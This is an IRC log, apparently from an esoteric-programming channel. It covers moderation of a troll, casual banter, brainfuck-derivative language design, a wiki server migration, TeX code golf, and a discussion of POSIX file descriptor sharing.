00:55:22 <Bike> Actually, know, maybe that was going to be a gay joke.
00:55:33 <boily> newsham: I don't think so, considering that the plural of fish is fish.
00:55:46 <lexande> Bike: umm? 17:38 -!- mode/#esoteric [+b *elliott*!*@*] by elliott
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00:55:59 <myname> am i the only one smiling at brainfuck.being featured language?
00:56:12 <shachaf> elliott can unban himself if he cares to
00:56:29 <shachaf> Why someone would want to be in this channel I can't quite fathom.
00:56:38 <Bike> bikeslover: that's not a gay joke.
00:56:57 <boily> elliott is the Chuck Norris of this chännel.
00:57:21 <boily> shachaf: what about a nice gin tonic with a big slice of lime?
00:57:32 -!- Bike has set channel mode: +b *!*heyelliot@201.20.235.*.
00:57:32 -!- Bike has kicked bikeslover The complete script of Bee movie.
00:57:41 <Bike> What a letdown.
00:57:56 <shachaf> i don't like carbonated things, though
00:58:03 <shachaf> but i'd go for just a lime
00:58:09 <Bike> Do people eat limes
00:58:16 <Bike> that's a serious question. i have no idea.
00:58:30 <Bike> how do you eat them?
00:58:47 <Bike> how do you eat lemons
00:59:01 <boily> shachaf................................
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00:59:29 <boily> shachaf: you are a vile punster of the worst kind.
00:59:40 <Bike> alright, let's try some advanced techniques.
01:00:10 <boily> (meanwhile, Japan is fawning over Natalia Poklonskaya in a very disturbing fashion.)
01:00:46 -!- Bike has set channel mode: +b *!*elliot*@*.
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01:00:56 <Bike> Let's see how this works- oh, well ok then.
01:01:38 <shachaf> apparently someone posted my quote from this channel to qdb.us
01:01:38 <shachaf> i thought that wasn't supposed to happen
01:02:22 <boily> mynameL http://qdb.us/search?q=shachaf
01:02:33 -!- Bike has set channel mode: -b *elliott*!*@*.
01:02:40 <shachaf> some sort of cheap knockoff of HackEgo?
01:02:46 <boily> it's qdb.us. it's like bash.org.
01:03:17 <Bike> this syntax is so weird.
01:06:12 <Bike> Like, can I get a list of all bans? Who knows??
01:07:41 <Bike> irc truly is amazing technology.
01:08:28 <boily> only the best Finnish engineering practices were applied in the conception of IRC.
01:12:45 -!- Bike has set channel mode: +b *!*wikileaks@*.
01:12:50 <myname> http://esolangs.org/wiki/Quiler lol @ third paragraph
01:12:51 -!- Bike has set channel mode: -bb *!*wikileaks@1.214.231.* *!*wikileaks@*.dip0.t-ipconnect.de.
01:13:13 -!- Bike has set channel mode: -bbbb *!*showeduth@*.static.tpgi.com.au *!*heyelliot@206.116.240.* *!*wikileaks@* *!*elliot*@*.
01:13:21 <Bike> there, nice n consolidated.
01:15:10 <Bike> i like how 'joke' and 'unsuitable for programming' are distinct categories.
01:15:40 -!- Bike has set channel mode: -bbbb *!*heyelliot@201.20.235.* *!*elliotshe@*.bb.online.no *!*wikileaks@*.14-1.cable.virginm.net *wikileaks*!*@*.
01:16:15 <Bike> yeah i'll just ban them again if they show up probably.
01:16:30 <Bike> i unbanned the wrong things in the second to last command anyway.
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01:39:01 <ircXman1> anyone heard about wikileaks.org?
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01:39:48 -!- Bike has kicked ircXman1 ircXman1.
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01:44:41 <Sgeo> I bought some "smartwater", which, as far as I can tell, just has 'electrolytes' added for taste. Not likely to be worse than just being a waste of money, I assume
01:44:52 <Sgeo> (I needed a water bottle, and decided to indulge my curiosity)
01:45:03 <Bike> dude be careful, you don't want to accidentally ionize a kidney
01:45:22 <pikhq> It's got what plants crave.
01:45:25 <myname> does it have five kinds of sugar?
01:47:17 <Sgeo> zoneofdanger: watch Idiocracy
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01:55:11 <Sgeo> I want to play Marble Drop :(
01:57:08 <Sgeo> http://www.youtube.com/watch?v=HLGYxKdbE2Q
02:51:32 -!- zoneofdanger has changed nick to zoneofdanger_.
03:06:18 <Sgeo> Why are the comments on news sites so terrible?
03:06:33 <Sgeo> "It makes perfect sense... By law, ALL crime belongs in CITIES. so that suburbs can stay quiet and pristine. Therefore, when a crime happens in the suburbs, it's the city's fault."
03:06:47 -!- zoneofdanger_ has changed nick to zoneofdanger.
03:07:42 <Sgeo> http://newyork.cbslocal.com/2014/03/23/edison-officials-work-to-relocate-students-of-burned-down-james-monroe-elementary/#comment-1297563836
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03:23:37 <Sgeo> ) >'And now I'm back, from outer space'
03:23:38 <jconn> Sgeo: | >'And now I'm back, from outer space'
03:23:43 <Sgeo> ) <'And now I'm back, from outer space'
03:23:44 <jconn> Sgeo: | <'And now I'm back, from outer space'
03:23:54 <Sgeo> ) <'And now Im back, from outer space'
03:23:55 <jconn> Sgeo: +---------------------------------+
03:23:55 <jconn> Sgeo: |And now Im back, from outer space|
03:23:55 <jconn> Sgeo: +---------------------------------+
03:24:56 <newsham> ) <'Don't put me in a box!
03:24:56 <jconn> newsham: |syntax error
03:24:56 <jconn> newsham: | <'Don't put me in a box!
03:25:34 <newsham> ) <'Dont put me in a box!'
03:25:34 <jconn> newsham: +---------------------+
03:25:35 <jconn> newsham: |Dont put me in a box!|
03:25:35 <jconn> newsham: +---------------------+
03:31:57 <oerjan> ) <'Don\'t leave out apostrophes'
03:31:57 <jconn> oerjan: |open quote
03:31:58 <jconn> oerjan: | <'Don\'t leave out apostrophes'
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03:35:41 <madbr> Can the java garbage collector collect whole threads?
04:00:23 <kmc> i for one welcome our new Bike overlords
04:00:58 <Bike> oh good, my least favorite escaping method
04:02:35 * oerjan thinks he's getting a pascal flashback
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04:37:32 <Sgeo> I have recently been introduced to the word prepone
04:40:19 <Sgeo> !define postpone
04:41:23 <zzo38> Is it possible to change my watchlist token to a number of my choice?
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04:47:26 <zzo38> Why are the categories for the "Floater" article commented out and the URL for the interpreter is missing entirely?
04:53:32 <oerjan> i'm more worried about the layout being all messed up
04:53:59 <oerjan> fizzie: the new wiki looks _very_ messed up in style to me hth
04:54:32 -!- aloril has joined.
05:00:20 <oerjan> @tell fizzie the new wiki looks _very_ messed up in style to me hth
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05:02:29 <oerjan> @tell fizzie never mind ctrl-f5 fixed it on second try (don't know what i did wrong first time)
05:05:56 <zzo38> oerjan: You can also try changing which skin is in use, see if some work better than others.
05:06:05 <zzo38> None are as clean as the old version, though.
05:06:57 <kmc> Sgeo: what does it mean to prepone
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05:40:42 <fizzie> oerjan: I had the style thing too.
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05:52:38 <ion> I added one more program. http://codegolf.stackexchange.com/a/24289/1621
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06:06:23 <zzo38> ion: Which one is the one you add?
06:07:36 <ion> Revision 4 http://codegolf.stackexchange.com/posts/24289/revisions
06:10:50 <zzo38> Can you code-golf in SQL?
06:11:31 -!- password2 has joined.
06:11:35 <zzo38> Also, can you code-golf in INTERCAL?
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07:51:15 <ion> OCR in a nutshell http://i.imgur.com/2Nf4x7X.jpg
08:08:59 <Zom-B|afk> now make a self-rewriting esolang using that char mapping
08:09:09 -!- Zom-B|afk has changed nick to Zom-B.
08:10:14 <Zom-B> zzo38: ther are code golfs made in SQL, just look around a bit there
08:14:58 <zzo38> Are there code golfs in TeX?
08:19:50 <zzo38> I have once done a golfed "FizzBuzz" program in TeX.
08:20:09 <lifthrasiir> hmm, wait, I've certainly seen ps golfing but no TeX golfing, sorry for confusion
08:21:50 <zzo38> I have seen golfing with PostScript too
08:22:27 <zzo38> But, this is one program in TeX; \newcount\-\let~\advance\day0\loop~\-1~\day1~\mit\ifnum\-=3\-0Fizz\fi\ifnum\fam=5Buzz\rm\fi\ifvmode\the\day\fi\endgraf\ifnum\day<`d\repeat\bye
08:23:23 <Zom-B> even an answer in my code golf question is in tex
08:23:42 <Zom-B> http://codegolf.stackexchange.com/a/23440/17419
08:24:15 <Zom-B> ^ and thats the honorable '
08:24:26 <Zom-B> ^ and thats the honorable 'loser' with the largest program
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08:25:24 <zzo38> My program is using Plain TeX rather than LaTeX, and output DVI instead of PDF. Probably other program too, could be shorter made using Plain TeX and DVI.
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08:28:51 <zzo38> I have also seen a SQL program to make Mandelbrot, and it is even given as one of the examples of how the WITH clause works.
08:30:29 <Zom-B> fractals have always fascinated me even before i actually knew what fractals were
08:32:50 <Jafet> Fractals; you see one, you've seen them all.
08:39:32 <Zom-B> you see one, you spiral out of control
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09:39:28 <Zom-B> i planned to release my new esolang today or tomorrow
09:39:38 <Zom-B> now the database is locked for "a few days"
09:40:15 <Zom-B> the day after tomorrow my full time job resumes
09:40:25 <Zom-B> (free because of the NSS)
09:45:25 <fizzie> If you're seeing a "database is locked" message, you're still seeing the wiki on the old server. On the new one, it is (or at least should be) editable. DNS updates should not take more than a day to propagate fully.
09:45:50 <Zom-B> oh congrats on becoming admin
09:50:08 <fizzie> I think "commiserations" is perhaps more appropriate, since it's now my problem when things go wrong. Thanks, anyway. (Probably the people active on the wiki itself will still be doing most of the actually important things, like spam-wrangling and such, anyhow.)
09:53:07 <Jafet> You could start by providing us with a few problems, as per topic
09:53:57 <fizzie> Uh, well, maybe the still-in-progress DNS issue counts as a problem.
09:57:17 <Zom-B> >ping esolangs.org
09:57:17 <Zom-B> Pinging esolangs.org [162.248.166.242]
09:59:44 <fizzie> Hm; that actually looks new.
10:01:04 <Zom-B> c1105889-5122.cloudatcost.com [162.248.166.242]
10:07:16 <fizzie> Yes. That is the new server. The database should not be locked on it.
10:07:23 <fizzie> (I managed to edit my user page, at least.)
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11:15:16 <ion> https://github.com/torvalds/linux/pull/82
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12:16:59 <Jafet> The only things being violated here are overfishing regulations.
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13:13:48 <nortti> the thing that has been bugging mwe
13:14:04 <nortti> *me about that pull request, wtf is "xhe"
13:15:18 <ion> It’s satirizing weird gender-neutral pronouns.
13:15:48 <ion> http://askanonbinary.tumblr.com/post/74544202338/list-of-pronouns
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13:35:19 <int-e> "More pronouns for everyone" made me chuckle
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15:02:00 <password2> lots of weir arbitary things i can do
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16:01:18 <password2> my bot now has upto infinity more spammage
16:11:02 <password2> oh , thats why my code does not work
16:11:12 <password2> i was adding a cell to itself until it were 0
16:31:41 <password2> now i have a a small bf^ program that will add all numbers to the cell 0 until it finds a 0
16:41:08 <b_jonas> password2: go to http://esolangs.org/wiki/ , write a page about brainfuck^ , where you give the exact rules and a reference interpreter or a link to those
16:42:09 <b_jonas> add it to this category: http://esolangs.org/wiki/Category:Brainfuck_derivatives
16:42:36 <b_jonas> password2: I mean because you have so much time on your hands but I can't understand all this you say about pointers because I don't know the exact rules bf^ has
16:45:20 <password2> stupid qeustion , how do i edit a category?
16:45:37 <b_jonas> you put [[Category:Something]] in the article
16:45:45 <b_jonas> and the category page will automatically list all pages where that's added
16:46:00 <b_jonas> you can edit the category itself for the heading, but that's not needed here
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17:00:15 <password2> the new rules are actually simple now that i think bout it
17:02:47 <b_jonas> ah, you've created an account. great!
17:03:46 <myname> what is # supposed to do?
17:04:41 <password2> goto #test_room and i will show you
17:05:02 <myname> you could also add a goto
17:05:46 -!- ket1v has joined.
17:05:52 <myname> like pointer = cells[pointer]
17:06:53 <password2> how do i add a new section in a page?
17:07:19 <myname> look it up at an article that has what you want
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17:22:19 <password2> i think i will open source my c++ code for it too
17:26:58 <password2> hooray , i feel more productive now
17:28:09 <password2> mmm , maybe i should redo the whole syntax
17:29:31 <password2> and use a syntax more like c++ where * signifies that the next thing is a pointer
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17:57:48 <b_jonas> yes, headings with equals signs
17:57:57 <b_jonas> == second level heading ==
17:58:01 <b_jonas> === third level heading ===
18:42:05 <zzo38> Do you know how to disable free games in a UltraPin game?
18:43:31 <Zom-B> is there a way to write math/mathtex on the wiki?
18:44:29 <zzo38> I wrote a program which should be simpler and more secure and faster and more powerful than the one on Wikipedia, but I do not know how to install it in a MediaWiki installation.
18:45:10 <zzo38> You could for now just enter a raw code or upload a picture, I suppose.
18:45:49 <Zom-B> i only need a few constants, i, tau and e
18:46:18 <Zom-B> currently i'm copying the contents of wikipedia's tags (they have a gazillion tags for everything mathematic)
18:46:36 <Zom-B> seems like <span class="texhtml"> works :]
18:46:40 <zzo38> You could also just paste the text.
18:53:00 <fizzie> I don't think <span class="texhtml"> does anything else than sets a serif font.
18:56:08 <Zom-B> as long as it looks mathy
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18:57:25 <zzo38> fizzie: Are you able to install the program I wrote for rendering a TeX file received remotely? That can be used for mathematical equations too
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19:00:38 <zzo38> It is written in PHP so probably it can be installed on MediaWiki.
19:01:22 <fizzie> In a strictly technical sense, it could be possible, but I don't know anything about MediaWiki extensions, and I'm not really planning to learn about them, which would probably be required in order to integrate it in the wiki. Even if math support would be very fancy.
19:01:26 <fizzie> There's no TeX system installed on the server at the moment, either.
19:03:13 <zzo38> In order to use my program you only need to install Plain TeX and AMS fonts.
19:03:20 <zzo38> As well as dvipng.
19:05:10 <fizzie> Are there many differences between Plain TeX and LaTeX math syntax? For some reason I would think most people are more familiar with the latter.
19:05:21 <zzo38> It has no dependency on etex, xelatex, pdftex, or anything like that (and if you use them, it won't be secure anymore), and no dependency on PostScript, TrueType, or anything like that either.
19:05:31 <zzo38> fizzie: Many things are the same, I think.
19:06:39 <zzo38> Some things may be exclusive to one or the other, but I think many things you can do easily in Plain TeX require a lot of packages in LaTeX, and the security system does not allow installing packages. You could still, add macros for common things, without much difficult.
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19:12:55 <zzo38> My system uses its own format file which imports Plain TeX, and then adds a few things, and then disables some commands for security purposes.
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20:57:08 <Vorpal> fizzie, zzo38: Pretty sure mediawiki already has an extension for LaTeX math, used on wikipedia
20:58:01 <Vorpal> And I suspect that is as secure as Plain TeX would be
20:58:15 <fizzie> Yes, zzo38 referred to it.
20:58:21 <fizzie> Apparently it's inferior.
20:58:39 <Vorpal> It seems to work for WP, it can't be that bad
20:59:06 <fizzie> You would have to ask zzo38 that, and get a zzo38ian answer.
20:59:41 <fizzie> (Also working for Wikipedia doesn't mean it couldn't be horrible.)
20:59:57 <fizzie> It's worse in terms of required dependencies, at the very least.
21:00:07 <Vorpal> Well sure, but it is probably has reasonable performance, is reasonably secure and so on
21:02:40 <fizzie> I don't think I want to go on installing it (and a gigabyte of texlive) without someone who is familiar with it saying it's worth it.
21:03:11 <Vorpal> fizzie, I guess poke ais, he used to do wp stuff after all
21:04:09 <fizzie> I'll see if we happen to be online simultaneously (and I remember to do that); gotta be careful of all those lambdabot message fees and all.
21:04:40 <olsner> do file descriptors have their own position or does the underlying file have one shared between all fds?
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21:05:34 <Vorpal> olsner, I'm not 100% sure, but I was pretty sure each had it's own position?
21:05:45 <fizzie> I'm reasonably certain it is so.
21:06:06 <Vorpal> Also doesn't FILE object store the offset too?
21:07:40 <olsner> (file descriptors, not FILE objects)
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21:08:33 <Vorpal> yeah, but I said I think FILE objects also store offsets
21:09:21 <fizzie> "If a file can support positioning requests --, then a "file position indicator" *associated with the stream* --" (POSIX, emphasis mine)
21:10:12 <olsner> I was about to claim elsewhere that a bunch of threads doing reads on their own dup:ed file descriptors is equivalent to them doing it on the original file descriptor
21:10:26 <olsner> but then I didn't know if that would be true or not
21:12:09 <fizzie> That might still be true, even if independently opened descriptors did not share the position.
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21:12:46 <olsner> right, what I called "file" is what posix seems to call "file description"
21:12:56 <fizzie> "Duplicate descriptors share one file position and one set of file status flags (see File Status Flags), but each has its own set of file descriptor flags (see Descriptor Flags)", goes the glibc manual. POSIX is being rather unexplicit about it.
21:16:06 <fizzie> Oh, I guess 2.5.1 does hint at it.
21:16:47 <fizzie> "An open file description may be accessed through a file descriptor, which is created using functions such as open() or pipe(), -- Either a file descriptor or a stream is called a "handle" on the open file description to which it refers; an open file description may have several handles."
21:17:16 <fizzie> And if you dup, you end up with several handles to the same file description; but if you open() a single file twice, you end up with two separate file descriptions.
21:22:07 <Vorpal> Oh interesting, that they are different
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21:28:31 <olsner> I suppose fork() has sort of the effect of doing dup() on every file descriptor
21:28:56 <kmc> inheriting fd's over exec() as default behavior is so bad :(
21:29:47 <olsner> random thing I found on wikipedia: apparently solaris and BSD have a closefrom() call that closes every file descriptor above the argument
21:29:49 <Vorpal> FILE does seem to have some offsets at least http://sprunge.us/NZKT
21:29:59 <kmc> that's good
21:30:07 <Vorpal> (extracted using pahole from debug info, because I couldn't find the definition of it
21:30:12 <kmc> I've seen programs do that on Linux by listing /proc/self/fd
21:30:16 <olsner> so you could closefrom(3) (or 2?) before exec
21:30:19 <kmc> I don't know if there's another way to get your list of open fd's :/
21:30:49 <kmc> there's also fcntl(FD_CLOEXEC)
21:31:04 <fizzie> kmc: You can keep dup'ing until you hit EMFILE and track which numbers were assigned; the ones that weren't were already open.
21:31:14 <kmc> and O_CLOEXEC
21:31:41 <kmc> Linux added flags arguments to a bunch of the syscalls that return fds in order that you can set CLOEXEC atomically
21:31:52 <kmc> which is important with forkexec in multi-threaded programs
21:32:59 <Vorpal> kmc, pretty sure some of that was added to POSIX 2008?
21:33:42 <olsner> multi-threaded fork is a bit scary
21:34:26 <olsner> (luckily, it doesn't actually fork into multiple threads)
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21:40:58 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
21:41:43 <EgoBot> Score for anubiann00b_flagdance: 4.7
21:43:42 <EgoBot> Score for anubiann00b_flagdance: 4.9
21:44:10 <EgoBot> Score for anubiann00b_flagdance: 4.1
21:44:41 <EgoBot> Score for anubiann00b_flagdance: 5.2
21:47:16 <EgoBot> Score for anubiann00b_fagdance: 4.8
21:47:36 <EgoBot> Score for anubiann00b_fagdance: 1.4
21:47:58 <EgoBot> Score for anubiann00b_fagdance: 1.4
21:49:16 <EgoBot> Score for anubiann00b_flagdance: 3.3
21:52:35 <EgoBot> Score for anubiann00b_lel: 0.0
21:52:46 <EgoBot> Score for anubiann00b_lel: 9.7
21:53:15 <EgoBot> Score for anubiann00b_lel: 10.0
21:53:43 <EgoBot> Score for anubiann00b_lel: 9.8
21:53:57 <EgoBot> Score for anubiann00b_lel: 9.8
21:56:04 <EgoBot> Score for anubiann00b_flagdance: 14.6
21:56:21 <anubiann00b> !bfjoust shudder >>>>>>>>(>[-[++[(+)*5[-]]]]->[-[++[(+)*5[-]]]]+)*21
21:56:23 <EgoBot> Score for anubiann00b_shudder: 16.6
21:57:04 <anubiann00b> !bfjoust tripwire (>+)*9[](<(+)*127)*8(>)*8(>[-[++[(+)*5[-]]]]->[-[++[(+)*5[-]]]]+)*21
21:57:07 <EgoBot> Score for anubiann00b_tripwire: 8.2
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22:19:19 <ion> http://hosted.ap.org/dynamic/stories/B/BKN_CELTICS_NETS?SITE=AP&SECTION=HOME&TEMPLATE=DEFAULT
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22:20:39 <boily> good happy-kmc evening.
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22:31:52 <olsner> poor HackEgo, still mute?
22:32:37 <kmc> "Trying to come up with a unique name for a roguelike is a great way to accidentally name a BDSM club."
22:34:23 * oerjan throws a net over kmc and starts hacking
22:34:53 <kmc> why have I been netted?
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22:35:00 <boily> hellœrjan. hellolsner. Slelloreahello.
22:35:19 <boily> kmc: because it's convenient.
22:35:21 <oerjan> kmc: you've been admitted to the new nethack bdsm club hth
22:36:12 * boily dons his leather suit.
22:36:25 <boily> (it's a very nice leather suit, insulated against the winter.)
22:36:33 <kmc> I pasted that here largely because of the Taneb-quote
22:37:29 <oerjan> (your plan to make me say "what Taneb quote" fails because i still remember it)
22:37:30 <zzo38> If a roguelike is made out of AWK, then call it AWK-roguelike. If it is made out of SQL, then call it SQL-roguelike. If it is made out of mathematics, then call it, mathematical-game.
22:37:43 <kmc> oerjan: how could we forget, really
22:38:14 <oerjan> zzo38: i think those are _terrible_ names for bdsm clubs, you're not getting into this. except maybe the last one.
22:39:21 <zzo38> Maybe, a better name for BDSM clubs, also depend what it is made of. If it is made of leather suit then, call it, Leather-Suit-BDSM-Club.
22:39:21 <boily> the... mathematical game???
22:39:35 <oerjan> boily: you better keep your equations straight in that club
22:39:51 <boily> “bite me, whip me, make me solve integrals!”
22:43:59 <oerjan> <b_jonas> == second level heading == <-- i should point out we don't usually use first level headings, although there is at least one exception where it was convenient.
22:44:32 <oerjan> ([[Brainfuck constants]])
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22:49:33 <oerjan> <-- not afaik but i've usually been able to fake it, see e.g. http://esolangs.org/wiki/Underload#.7E:.21.28.29.5E_Turing_machine
22:49:49 <oerjan> <Zom-B> is there a way to write math/mathtex on the wiki? <-- not afaik but i've usually been able to fake it, see e.g. http://esolangs.org/wiki/Underload#.7E:.21.28.29.5E_Turing_machine
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23:25:04 <Sgeo> "Forced program termination is not allowed unless the program consents to it. The process is part of the choice of the program, not the programmer." perfect language to write malware?
23:31:31 <shachaf> can we not have that thing in here plz thx
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00:38:10 <Sgeo> Why do people hate checked exceptions so much?
00:39:04 <copumpkin> if you're going to have them, you might as well represent them in the type though
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00:48:04 <Taneb> <Taneb> I’m a story about the prohibition of chocolate
00:52:46 <kmc> <Taneb> kmc, I was trying to go to a sci-fi and fantasy society social, and I went to the wrong bar <Taneb> Wound up at my university's fetish society <Taneb> Didn't realise for an hour and a half
00:53:15 <kmc> i never suspected otherwise
00:53:16 <Taneb> My gran won't shut up about it
00:53:22 <kmc> ...........
00:53:30 <Taneb> I regret telling my gran
00:53:35 <kmc> ......................
00:55:13 <kmc> i'm doin' fine
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01:15:56 <Taneb> btw I recommend Bootleg
01:16:23 <Taneb> Or its anime adaptation, Chocolate Underground, which is hilarious because of how the voice actors mangle the name "Myrtle"
01:28:23 <Sgeo> Maybe doesn't contain information about the nature of the error
01:28:30 <Sgeo> And Either is hard to combine
01:28:50 <Sgeo> Idris's EXCEPTION might be good?
01:29:00 <Bike> well, it's loud. that's always good.
01:29:04 <Sgeo> Still not sure how to actually combine those either without discarding the information
01:29:42 <Sgeo> (iiuc, if you put it in a Maybe context you can have ]EXCEPTION a, EXCEPTION b], but in a Either context you need to choose :/
01:30:42 <Sgeo> Oh hey, copumpkin's here, e could clear things up
01:33:01 <oerjan> i think idris might fall into a tradition of giving dependently typed languages subtly dubious names
01:33:31 <oerjan> like, they claim it's a dragon, but it's also a muslim prophet
01:34:10 <Bike> so what's dubious
01:34:37 <oerjan> that they don't mention that it's a muslim name
01:35:02 <oerjan> kings of libya and morocco
01:35:25 <Bike> i hear 'lisp' is also a speech condition
01:36:04 <kmc> hönan agda
01:36:56 <oerjan> well could be worse, could have been iblis
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02:02:56 <quintopia> i'm adding "Lady Chablis" to the list of things to name an esolang
02:03:16 <quintopia> also, i should probably write up some of these langs lying around on my desk sometime...
02:04:47 <Sgeo> I should probably make another esolang
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02:07:54 <Sgeo> Braintrust, I think
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03:39:36 <kmc> Taneb: so did you also explain to your gran what a fetish society is or did she already know
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03:56:00 <oerjan> disturbing twist: his gran once founded that society
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05:00:19 <zzo38> I made up a "Pokemon renaming rule", for use with Pokemon Card when the cards are drafted or otherwise randomly selected, rather than playing a Constructed game.
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05:05:04 <zzo38> Before the game starts, make up a list of names of cards in your deck (ignoring level and quantity), on the left side of the page. For each one, write the name you are renaming it to on the right. You can only rename into names of cards which are possible to be drafted (whether or not anyone did, whether or not it is in your deck). The left side cannot have any duplicates, and the right side cannot have any duplicates.
05:05:57 <zzo38> Basic pokemon cards can only be renamed to names of basic pokemon cards. Evolution cards can be only renamed into name of evolution cards. Trainer cards can only renamed into name of trainer cards. Special energy cards can only renamed into name of special entry cards. Basic energy cards cannot be renamed at all. Renaming a name into itself (so it doesn't change) is permitted.
05:06:05 <zzo38> Bike: I wasn't finished yet; now I am.
05:06:41 <Bike> i stand by my assessment
05:08:11 <zzo38> Well, many cards in the game (mostly evolution cards) require card of other specific name, and if cards are drafted or selected at random or something like that, then you cannot do that so easily. This rule is not meant to be used in a Constructed game.
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05:29:58 <Sgeo> "In gbeta, object metamorphosis coexists with strict, static type-checking: It is possible to take an existing object and modify its structure until it is an instance of a given class, which is possibly only known or even constructed at run-time. Still, the static analysis ensures that message-not-understood errors can never occur at run-time."
05:30:20 <Sgeo> I think I tried to learn gBeta once. I don't think I succeeded
05:39:44 <password2> if you stopped trying , then you probably did
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08:37:54 <Zom-B> i'm making an 2-dimensional esolang and I'm still trying to figure out some details
08:40:06 <Zom-B> like, numbers are encoded in unary, so should i make a special constant for '0' or make everything starting from 1?
08:40:21 <Zom-B> (memory addresses, etc)
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09:11:10 <Zom-B> or whether to use two instructcions to address from the begin or from the end of the memory, or use one instruction with negative addresses
09:12:03 <Zom-B> negative addresses can be made by pushing a unary value and then calling the NEG instruction
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11:39:15 <Deewiant> Zom-B: If subtraction is possible then zero is x-x for any x.
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14:56:41 <Zom-B> sorry, was afk at a neighbor, 'fixing' his windows 8
14:57:09 <Zom-B> yes, x-x is possible
14:58:13 <Zom-B> bit it would take 3 instructions
14:58:31 <Zom-B> push x, push x again, subtract
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15:07:02 <Zom-B> i just made everything 1-based
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15:58:38 <password2> wow , nice i see someone actually edited and correct my bf^ page
16:01:06 <Zom-B> in thinking of also releasing a shunken-down version of my new esolang with only 7 symbols, equal to the brainfuck <>+-,.?
16:01:30 <Zom-B> ? turns if the value is nonzero, otherwise it goes straight
16:03:13 <Zom-B> so (too?) many BF clones already
16:04:10 <password2> is there an upper limit of how many there may be?
16:04:34 <password2> the mathematics of large numbers say n==n+1
16:05:19 <password2> so thusly you may create another one without it affecting how much there is
16:05:44 <Zom-B> i'm a computer scientist, not a mathematician
16:09:10 <Zom-B> go back to your engines
16:10:51 <Zom-B> then some WireWorld
16:12:45 <fizzie> I'd `? brick if there was a working HackEgo.
16:13:36 <Zom-B> HackEgo is broked?
16:14:05 <fizzie> `run echo "No output." # at least this still works
16:14:52 <Zom-B> maybe the specification says it should output "No output."for all possible inputs except the input of zero length
16:18:58 <Jafet> I'm now pretty convinced that mathematica can do anything.
16:19:15 <Jafet> http://46.4.207.77/sum.gif
16:20:20 <Zom-B> i invented that algorithm when i was young
16:20:45 <Zom-B> also recently used it to encode two integers into a single integer
16:21:41 <Zom-B> with approximate preservation of magnitude, so not just bit fiddling
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16:34:22 <Zom-B> i think i've figured out the complete design of my esolang
16:35:40 <Zom-B> fizzie: is it possible you could rename a wiki page (not 'move', but really rename in the database)? It's not linked from or to anything yet
16:38:35 <Zom-B> it's like this: (an analogy)
16:38:36 <Zom-B> it's like i started something that's like cooking recepies
16:38:36 <Zom-B> then called it chef and made the wiki page
16:38:36 <Zom-B> then the design went through so many iterations that it ended up like an instruction manual instead
16:38:55 <password2> i tried to click the buttons of that gif
16:41:39 <Zom-B> i.e. the essence that the name captured is not in the language anymore
16:42:16 <Zom-B> moving leave residues and fossils
16:42:50 <Phantom_Hoover> just rename it, the page history really doesn't matter that much
16:44:23 <Zom-B> i still need to think of a good name
16:46:51 <Zom-B> the new essence is: its 2-dimensional and self-modification is required to make loops
16:47:16 <Zom-B> (except the BF variant)
16:56:45 <Zom-B> maybe i should release the BF vaiant on april 1st
16:58:33 <Zom-B> zzo38: how do you choose names for all your esolangs?
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17:15:39 <fizzie> There's a HackEgo command for it, but it's also inoperative.
17:16:00 <fizzie> (I don't think any languages have yet been named by `words --esolangs, though.)
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17:21:34 <fizzie> There are several 2D (or more) brainfuck derivatives, at least.
17:21:47 <fizzie> Not sure if any of them tries to do only the 2D thing and nothing else.
17:23:34 <password2> i sould probably not make it run over irc , atleast not the memory dump parts
17:24:03 <fizzie> A quick intersection of Category:Two-dimensional languages and Category:Brainfuck derivatives returns: 2L, Archway, Braincopter, Brainloller, Braktif, Electric BitFunk, Minifuck-2D, Minimal-2D, Pirandello, Puzzlang, Sansism and YABALL.
17:31:03 <password2> mmm , i see none of these programs usses 1D instructions over a 2D tape
17:33:43 <myname> what about brainfuck 2d?
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17:35:18 <myname> there is, but i don't like it
17:35:37 <myname> basically, the instruction depends on the 8 directions you can take
17:35:57 <myname> e.g. going south-west could be +
17:36:20 <password2> most of em uses an 2d instructional set
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17:36:53 <myname> 2l looks pretty hard for a brainfuck derivate
17:37:12 <fizzie> Oh, you meant just having a plane instead of tape for the memory pointer, not code?
17:37:30 <myname> a plane for the code, but still a tape
17:38:06 <fizzie> password2: In that case, it wouldn't be in Category:Two-dimensional languages, of course.
17:38:57 <myname> tbh, i don't see any fun in n-dimensional tapes
17:39:24 <fizzie> There probably isn't really a category for that, but there are all kinds of variants that do something to the tape.
17:40:18 <password2> all i want to do is replace <> with wasd , i think
17:41:00 <password2> its just something i kinda always wanted to try
17:41:15 <password2> the fun is trying to discover what fun it is:
17:44:04 <password2> essentially w would only translate to >>>>>>>>>>>>>
17:44:37 <myname> that would not be truly 2d
17:45:59 <myname> because i could reach the cell "above" the current by moving to the right?
17:46:31 <password2> see it as a tape rolled into a cylinder
17:46:49 <myname> you could just make generic macros, then
17:49:14 <password2> or maybe i'll make it like a bunch of parralel tapes
17:49:17 <fizzie> Clusterfuck is kinda-sorta close, with a fixed-size memory.
17:51:03 <myname> password2: just make something like #define w >>>>>>>>>> possible and you can make stuff
17:51:47 <password2> i'll see what i will do when i actually start
17:55:49 <password2> the farther you move from center the bigger the tape would be
17:56:30 <maurer> You could make it move at approximately constant angles rather than incrementing by cells
17:56:40 <maurer> So that when your radius was high, you'd sweep 8 bytes in a read/step
18:00:02 <password2> or i was think that that the 'width' of the cell is constand such that each ring has ,say, 4 more cells , and changing the angle by a small amount means that the first few cells from the center would still be the same and it diverges a bit as you move outwards
18:01:26 <myname> you could use a rubik's cube of say 6x6x6 as "take" with rotation instructions
18:02:50 <password2> ah , so the pointer almost tays fixed then and a /tape/ rotates
18:24:41 <password2> this is what i mean http://img.ffffound.com/static-data/assets/6/06f04fcd77d6038a71226f2edba1ea166c299449_m.png
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18:50:57 <ion> http://zachholman.com/posts/only-90s-developers/
18:55:13 <Zom-B> i checked all those 2D BF derivatives and none is true tot he original BF essence
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20:26:56 <Zom-B> either instruction bloat (R, L, U, D) or instruction overloading (* does all of <>,.)
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20:30:35 <Zom-B> Brainloller is close to my idea, but instead of just ? it has [] and two extra rotation operations
20:31:07 <Zom-B> Archway is even closer, though not graphical and has two splite /\ instead of just ?
20:31:13 <password2> btw , do you want one whose instruction set is in 2d , or dataset?
20:31:37 <Zom-B> dataset 2d is a bit pointless
20:31:59 <Zom-B> you have to 'walk' from a to b anyway wether 1d or 2d
20:32:07 <Zom-B> you just need extra instructions
20:32:34 <password2> but now you have twice the directions
